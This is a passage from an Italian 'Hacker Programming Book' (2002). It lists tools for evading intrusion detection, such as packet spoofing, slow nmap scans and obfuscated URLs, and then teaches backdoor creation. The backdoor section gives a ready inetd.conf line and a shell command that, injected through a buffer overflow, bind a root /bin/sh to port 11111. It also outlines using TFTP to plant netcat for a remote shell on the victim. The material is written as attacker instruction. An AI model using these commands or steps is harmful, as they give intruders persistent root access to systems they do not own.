Homepage: http://www.anzen.com/research/nidsbench/
Source Download: http://www.anzen.com/research/nidsbench/fragrouter-
1.6.tar.gz

nemesis - Generating / spoofing various packets.
OS: Unix
Homepage: N/A
Source Download: http://the.wiretapped.net/security/packet-
construction/nemesis/nemesis-1.32.tar.gz

nessus - Triggering scanning alarms.
OS: Unix
Homepage: http://www.nessus.org/
Source Download: http://www.nessus.org/download.html

nmap - Slow scanning attempting to "fly under the radar".
OS: Unix
Homepage: http://www.insecure.org/nmap/index.html
Source Download: http://download.insecure.org/nmap/dist/nmap-
2.54BETA30.tgz

sneeze - Testing Snort alarm and logging capability.
OS: Unix
Homepage: N/A
Source Download: http://snort.sourceforge.net/sneeze-1.0.tar

snot - Testing IDS robustness, as well as alarm and logging capability.
OS: Unix
Homepage: http://www.sec33.com/sniph/
Source Download: http://www.sec33.com/sniph/snot-0.92a.tar.gz

stick - Testing IDS robustness, as well as alarm and logging capability.
OS: Unix
Homepage: http://www.eurocompton.net/stick/
Source Download: http://packetstormsecurity.org/distributed/stick.tgz

tcpreplay - Replaying real traffic in which to hide attacks.


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

OS: Unix
Homepage: http://www.anzen.com/research/nidsbench/
Source Download: http://www.anzen.com/research/nidsbench/tcpreplay-
1.0.1.tar.gz

whisker - Triggering URL alarms or attempting to slip obfuscated URLs
past IDS.
OS: Unix
Homepage: http://www.wiretrip.net/rfp/
Download: http://www.wiretrip.net/rfp/bins/whisker/whisker.tar.gz



Metodi alternativi per la creazione di backdoor
Alcune volte, in particolar modo sotto sistemi Unix, la creazione di una backdoor non
pretende l’installazione di nessun sotfware aggiuntivo.
Supponiamo di aver individuato un buffer overflow che ci permetta di scrivere dentro ad un
file di configurazione come ad esempio inetd.
Inetd controlla tutte le porte listate e al verificarsi di una connessione lancia il programma
abbinato.
Se ad esempio all’interno di

/etc/inetd.conf

ci fosse una linea del tipo :

11111 stream              tcp    nowait           root             /bin/sh          sh –I

al verificarsi di una connessione sulla porta 11111 verrebbe lanciata /bin/sh.
A questo punto il camando eseguito dal sistema legato al buffer overflow dovrebbe mirare ad
aggiungere in coda al file /etc/inetd.conf la linea :

/bin/sh – c “echo 11111 stream tcpo nowait root /bin/sh sh –i” >>/etc/inetd.conf; killall –HUP
inted

L’ultima istruzione eseguirebbe il kill di inetd per cui il processo sarebbe riattivato leggendo il
nuovo file di configurazione.
Un altro molto sfruttato sui sistemi vittima è legato ai trasferimenti via il Trivial FTP ovvero
TFTP.
Inetd.conf ha ilseguente formato :

#
#   inetd.conf       This file describes the services that will be available
#                    through the INETD TCP/IP super server. To re-configure
#                    the running INETD process, edit this file, then send the
#                    INETD process a SIGHUP signal.
#
#   Version:         @(#)/etc/inetd.conf           3.10      05/27/93
#
#   Authors:         Original taken from BSD UNIX 4.3/TAHOE.
#                    Fred N. van Kempen,<waltje@uwalt.nl.mugnet.org>
#
#   Modified for Debian Linux by Ian A. Murdock <imurdock@shell.portal.com>
#
#   Modified for RHS Linux by Marc Ewing <marc@redhat.com>
#
#   <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
#   Echo, discard, daytime, and chargen are used primarily for testing.
#
#   To re-read this file after changes, just do a 'killall -HUP inetd'
#



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

#echo    stream tcp     nowait root     internal
#echo    dgram   udp    wait    root    internal
#discard         stream tcp     nowait root      internal
#discard         dgram  udp     wait    root     internal
#daytime         stream tcp     nowait root      internal
#daytime         dgram  udp     wait    root     internal
#chargen         stream tcp     nowait root      internal
#chargen         dgram  udp     wait    root     internal
#time    stream tcp     nowait root     internal
#time    dgram   udp    wait    root    internal
#
# These are standard services.
#
ftp      stream tcp     nowait root     /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp       nowait root     /usr/sbin/tcpd in.telnetd
#
# Shell, login, exec, comsat and talk are BSD protocols.
#
shell    stream tcp     nowait root     /usr/sbin/tcpd in.rshd
login    stream tcp     nowait root     /usr/sbin/tcpd in.rlogind
#exec    stream tcp     nowait root     /usr/sbin/tcpd in.rexecd
#comsat dgram    udp    wait    root    /usr/sbin/tcpd in.comsat
talk     dgram   udp    wait    nobody.tty       /usr/sbin/tcpd in.talkd
ntalk    dgram   udp    wait    nobody.tty       /usr/sbin/tcpd in.ntalkd
#dtalk stream tcp       wait    nobody.tty       /usr/sbin/tcpd in.dtalkd
#
# Pop and imap mail services et al
#
#pop-2    stream tcp     nowait root     /usr/sbin/tcpd ipop2d
#pop-3    stream tcp     nowait root     /usr/sbin/tcpd ipop3d
#imap     stream tcp     nowait root     /usr/sbin/tcpd imapd
#
# The Internet UUCP service.
#
#uucp    stream tcp     nowait uucp     /usr/sbin/tcpd /usr/lib/uucp/uucico
-l
#
# Tftp service is provided primarily for booting. Most sites
# run this only on machines acting as "boot servers." Do not uncomment
# this unless you *need* it.
#
#tftp    dgram   udp    wait    root    /usr/sbin/tcpd in.tftpd
#bootps dgram    udp    wait    root    /usr/sbin/tcpd bootpd
#
# Finger, systat and netstat give out user information which may be
# valuable to potential "system crackers." Many sites choose to disable
# some or all of these services to improve security.
#
finger stream tcp       nowait nobody /usr/sbin/tcpd in.fingerd
#cfinger stream tcp     nowait root     /usr/sbin/tcpd in.cfingerd
#systat stream tcp      nowait guest    /usr/sbin/tcpd /bin/ps -auwwx
#netstat         stream tcp     nowait guest     /usr/sbin/tcpd /bin/netstat
-f inet
#
# Authentication
#
# identd is run standalone now
#
#auth    stream tcp     wait    root    /usr/sbin/in.identd in.identd -e -o
#
# End of inetd.conf

Mentre il sistema precedente era un ottimo metodo per aprire una backdoor sotto Unix, quello
che segue può essere applicato anche a sistemi Windows.
Per l’esecuzione di questo metodo sono necessari i seguenti steps :




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

    •   L’attaccante esegue l’overflow di un buffer forzando il sistema a eseguire il sistema
        TFTP
    •   Il sistema attivato viene usato per trasferire NETCAT configurato sul sistema vittima.
    •   Netcat viene eseguito.
    •   Usando un'altra copia di NETCAT l’ataccante attende la comunicazione.

Ora l’attaccante possiede una canale interattivo per lavorare sulla macchina vittima.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051

				
DOCUMENT INFO
Categories:
Tags:
Stats:
views:119
posted:2/13/2011
language:Italian
pages:159